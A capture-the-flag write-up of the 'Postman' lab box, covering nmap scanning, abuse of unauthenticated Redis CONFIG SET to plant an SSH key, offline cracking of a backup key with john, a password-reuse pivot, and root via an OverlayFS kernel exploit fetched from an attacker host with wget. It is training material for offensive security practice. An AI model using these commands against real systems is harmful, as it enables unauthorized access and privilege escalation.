๐Ÿ“ฎ Postman

Machine: Postman Difficulty: Easy Theme: Unauthenticated Redis โ†’ SSH key recovery โ†’ user pivot โ†’ kernel LPE


๐ŸŽฏ Summary

Postman started with a strong infrastructure clue: an exposed, unauthenticated Redis instance. Redis 4.x allows config-driven file writes, which was abused to drop our own SSH public key into the redis userโ€™s authorized_keys and log in over SSH as redis.

From that low-privileged shell, local enumeration surfaced an encrypted backup key at /opt/id_rsa.bak. The passphrase was cracked offline, and โ€” since Mattโ€™s direct SSH login was not usable โ€” the recovered secret was reused locally with su to pivot into the Matt account.

As Matt, several privilege escalation routes were considered, including Webmin-related vectors and kernel issues. The Webmin paths were investigated but ultimately not usable in practice. The successful root path was OverlayFS (CVE-2021-3493) on Ubuntu 18.04, which yielded immediate root access after compilation and execution of a public exploit.


1. Enumeration

Initial scanning identified four important services:

  • 22/tcp SSH
  • 80/tcp HTTP
  • 6379/tcp Redis
  • 10000/tcp Webmin

All-ports sweep

A full TCP sweep was run first to avoid missing anything sitting on a non-default port. This surfaced Redis on 6379/tcp, which would go on to drive the entire initial access path.

sudo nmap -p- -oA nmap/postman-allports 10.129.2.1

Baseline scan

With the open ports known, a targeted version + default-script scan filled in the service details.

nmap -sC -sV -Pn 10.129.2.1

The most interesting findings were:

  • Redis exposed without authentication
  • Webmin 1.910
  • standard SSH access
  • a basic Apache website on port 80

Practical note

The web server was not the main path here. The real foothold came from service misconfiguration, not the website.


2. Initial Access โ€” Redis Exploitation

Redis allowed unauthenticated access, so the configuration could be read and โ€” more importantly โ€” abused to write files to disk as the redis user.

Confirm no authentication

redis-cli -h 10.129.2.1
10.129.2.1:6379> CONFIG GET *

The server answered config queries without a password, confirming it was wide open.

Locate a writable directory

Redis 4.0โ€“5.0 can be made to write its database to an arbitrary path. Probing CONFIG SET dir reveals which directories exist โ€” an error means the path is missing, OK means it exists and is writable:

10.129.2.1:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
10.129.2.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

The OK confirmed the redis user already had a .ssh directory โ€” the ideal place to drop an authorized_keys file.

Write our SSH public key

The key is padded with newlines so it survives being stored as a Redis value, set as a key, then flushed to authorized_keys by pointing Redisโ€™ database file at it:

# On the attacker โ€” build the padded key file
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
 
# Store it in Redis
cat key.txt | redis-cli -h 10.129.2.1 -x set ssh_key
 
# Flush it to authorized_keys
redis-cli -h 10.129.2.1
10.129.2.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
10.129.2.1:6379> CONFIG SET dbfilename authorized_keys
OK
10.129.2.1:6379> save
OK
10.129.2.1:6379> exit

Shell as redis

With our key now trusted, SSH login as redis succeeds:

ssh redis@10.129.2.1
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

3. Lateral Movement โ€” redis โ†’ Matt

The redis shell was unprivileged, so the next step was local enumeration to find a path to a real user.

Enumerate as redis

linpeas.sh was copied over with scp (the foothold key works for file transfer too) and run from /tmp:

scp linpeas.sh redis@10.129.2.1:/tmp
redis@Postman:/tmp$ chmod +x linpeas.sh
redis@Postman:/tmp$ ./linpeas.sh

Key discovery

LinPeas flagged an SSH backup key sitting in /opt:

redis@Postman:/tmp$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
...

The ENCRYPTED header meant the key was passphrase-protected โ€” not usable as-is.

Crack the passphrase offline

The key was pulled back to the attacker and converted to a John-compatible hash:

ssh2john id_rsa.bak > postman_ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt postman_ssh.hash

This recovered the passphrase:

  • SSH key passphrase: <REDACTED>

Pivot to Matt

Direct SSH login as Matt with the key did not work, but the host reused the same secret as Mattโ€™s local password, so su from the redis shell succeeded:

redis@Postman:/tmp$ su Matt
Password: <REDACTED>
Matt@Postman:~$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)

Why this worked

The host reused the same secret as both the SSH key passphrase and Mattโ€™s local account password โ€” so a credential found protecting one mechanism unlocked another.

User flag

cat ~/user.txt

4. Local Enumeration

Once operating as Matt, the next focus was root privilege escalation.

The system was identified as:

  • Ubuntu 18.04.3
  • kernel 4.15.0-58-generic

Automated local enumeration with linpeas.sh highlighted a number of potential escalation vectors.

Useful context

This stage produced several leads:

  • Webmin-related issues
  • kernel-level privilege escalation vectors
  • general local misconfiguration checks

5. Investigated but Unused Privilege Escalation Paths

Webmin RCE (CVE-2019-12840)

This path was considered because the target ran Webmin 1.910, which has a known authenticated RCE in the package update functionality.

Why it was not used

Manual inspection of the Webmin interface showed that the Matt user did not have access to the relevant configuration fields required to trigger the vulnerability in practice.

Webmin Backdoor (CVE-2019-15107)

This was also tested manually.

Why it was not used

Manual curl validation confirmed that the backdoor path was not active on this host.

Practical note

This was a good reminder that version-based matching alone is not enough. A target may be theoretically vulnerable but still non-exploitable because:

  • the vulnerable module is inaccessible
  • the feature is disabled
  • permissions block the path entirely

6. Privilege Escalation โ€” OverlayFS (CVE-2021-3493)

The successful root path was OverlayFS, which was a strong fit for the target:

  • Ubuntu 18.04
  • vulnerable kernel line
  • reliable public exploit available

Approach

A C-based exploit for CVE-2021-3493 was transferred to the target, compiled locally, and executed.

Workflow

# On the attacker โ€” serve the exploit
python3 -m http.server 80
 
# On the target as Matt โ€” fetch, compile, run
wget http://<ATTACKER_IP>/exploit.c -O /tmp/exploit.c
cd /tmp
gcc exploit.c -o exploit
./exploit

Result

Immediate escalation to root:

# id
uid=0(root) gid=0(root) groups=0(root)

Root flag

cat /root/root.txt

๐Ÿ”— Condensed Attack Chain

Open Redis (6379), unauthenticated
  โ†“
CONFIG SET dir + dbfilename โ†’ write our SSH pubkey to redis' authorized_keys
  โ†“
SSH in as the redis user
  โ†“
LinPeas finds /opt/id_rsa.bak (encrypted SSH key)
  โ†“
Crack key passphrase offline (ssh2john + john)
  โ†“
Reuse passphrase: su Matt
  โ†“
Shell as Matt (user flag)
  โ†“
Enumerate; discard unusable Webmin vectors
  โ†“
Exploit OverlayFS (CVE-2021-3493)
  โ†“
Root shell (root flag)

๐Ÿง  Key Takeaways

  • Unauthenticated Redis can become far more serious than simple data exposure โ€” its CONFIG SET dir/dbfilename file-write turns it into a foothold (here, writing an authorized_keys).
  • Recovered secrets should always be tested for reuse, not just for their originally intended protocol.
  • A โ€œworking credentialโ€ does not always mean the most obvious access path will be the best one.
  • Version-based exploitation should always be validated manually before spending too much time on it.
  • Kernel LPE remains a very practical route when userland attack surface dries up.

โšก Commands Cheat Sheet

# Enumeration
sudo nmap -p- -oA nmap/postman-allports 10.129.2.1
nmap -sC -sV -Pn 10.129.2.1
 
# Redis โ€” write our SSH key and log in as redis
redis-cli -h 10.129.2.1 CONFIG GET dir
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 10.129.2.1 -x set ssh_key
redis-cli -h 10.129.2.1
  CONFIG SET dir /var/lib/redis/.ssh
  CONFIG SET dbfilename authorized_keys
  save
ssh redis@10.129.2.1
 
# Find + crack the backup key, pivot to Matt
scp linpeas.sh redis@10.129.2.1:/tmp     # LinPeas finds /opt/id_rsa.bak
ssh2john id_rsa.bak > postman_ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt postman_ssh.hash
su Matt                                   # reuse cracked passphrase
cat ~/user.txt
 
# Root โ€” OverlayFS (CVE-2021-3493)
wget http://<ATTACKER_IP>/exploit.c -O /tmp/exploit.c
gcc /tmp/exploit.c -o /tmp/exploit && /tmp/exploit
cat /root/root.txt

Field-manual techniques demonstrated on this box:


๐Ÿงญ Diagnostic Map

Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks โ€œwrongโ€ but the underlying step is actually salvageable.

Symptom: Standard ports (80, 22) donโ€™t yield obvious access
Meaning: A high-value service may be living on a non-default port
Next: Always run a full TCP sweep (-p-) before targeted scans โ€” Redis on 6379 was the real entry point

Symptom: Redis on 6379 accepts redis-cli without authentication
Meaning: Unauth Redis 4.x is a file-write primitive, not just a data-read finding
Next: Abuse CONFIG SET dir + dbfilename to write your SSH pubkey into a userโ€™s authorized_keys, then SSH in

Symptom: Recovered SSH key but it asks for a passphrase
Meaning: The key is encrypted; the passphrase is the new bottleneck
Next: ssh2john id_rsa > hash then john --wordlist=rockyou.txt hash

Symptom: Direct SSH login as the recovered user is rejected or unstable
Meaning: SSH may be restricted, but the recovered secret could be reused locally
Next: From any low-priv shell, try su <user> with the cracked passphrase โ€” passphrase โ‰  password is a common pitfall

Symptom: Webmin version matches a CVE but the exploit doesnโ€™t fire
Meaning: Version-string vulnerability โ‰  exploitable โ€” the vulnerable feature may be disabled or gated by permissions
Next: Manually verify the vulnerable endpoint/module is accessible before committing time

Symptom: Ubuntu 18.04 with kernel 4.15.x and no userland privesc paths
Meaning: This kernel line is vulnerable to OverlayFS (CVE-2021-3493)
Next: Transfer the C exploit, gcc exploit.c -o exploit && ./exploit โ€” reliable LPE


๐Ÿ“ Personal Notes

The cleanest part of Postman was realizing that the Redis exposure was not just a service enumeration finding โ€” it was the actual initial access vector. Once Mattโ€™s key was recovered, the most important insight was not โ€œSSH is open,โ€ but rather โ€œdoes this secret work anywhere else too?โ€

That credential reuse turned what could have been a brittle SSH-only pivot into a much simpler local user switch. After that, the box became a classic judgment call between multiple potential privesc paths, where the reliable kernel exploit clearly beat the more fragile Webmin routes.